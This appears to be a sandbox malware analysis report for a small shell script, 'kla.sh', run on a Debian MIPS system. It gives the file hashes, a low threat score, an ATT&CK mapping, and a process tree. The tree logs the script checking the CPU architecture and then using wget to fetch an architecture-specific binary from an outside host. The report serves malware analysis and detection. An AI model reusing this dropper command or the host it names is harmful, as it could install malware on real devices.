182aaf8a6c3a40e451fdd2deba857b8b8ada9f2efda033fcae6b6e89bde15d09

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
27/09/2026, 06:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
kla.sh
Size 1KB
Sample260927-hapzqsaf25
SHA256 182aaf8a6c3a40e451fdd2deba857b8b8ada9f2efda033fcae6b6e89bde15d09
MD5 94c34b0f4a3ad64665b52b6c0eff5088
SHA1 bc0db15f19ff5d67574161eb19d6aca9e72c935e
SHA512 4d849cbcd56bfdcad01a853bdb85e426e24b7bae67c5a493f8f9167264796acfedd2767fc05164a100cd99ecae4af956e611c8b019f0e082cc9cdf222430a785
TLSH
T1EC1123E7F8708D327549043C7B5EB65099CB0A3F19F4A84184D6BC60BD2CA15A04EF23
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
707	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/q.tmp	wget

/tmp/kla.sh
/tmp/kla.sh
1⤵
PID:701
- /bin/uname
  uname -m
  2⤵
  PID:703
- /bin/rm
  rm -f q q.tmp
  2⤵
  PID:705
- /usr/bin/wget
  wget -q -O q.tmp http://wemqmewkqewq.work.gd/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:707

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads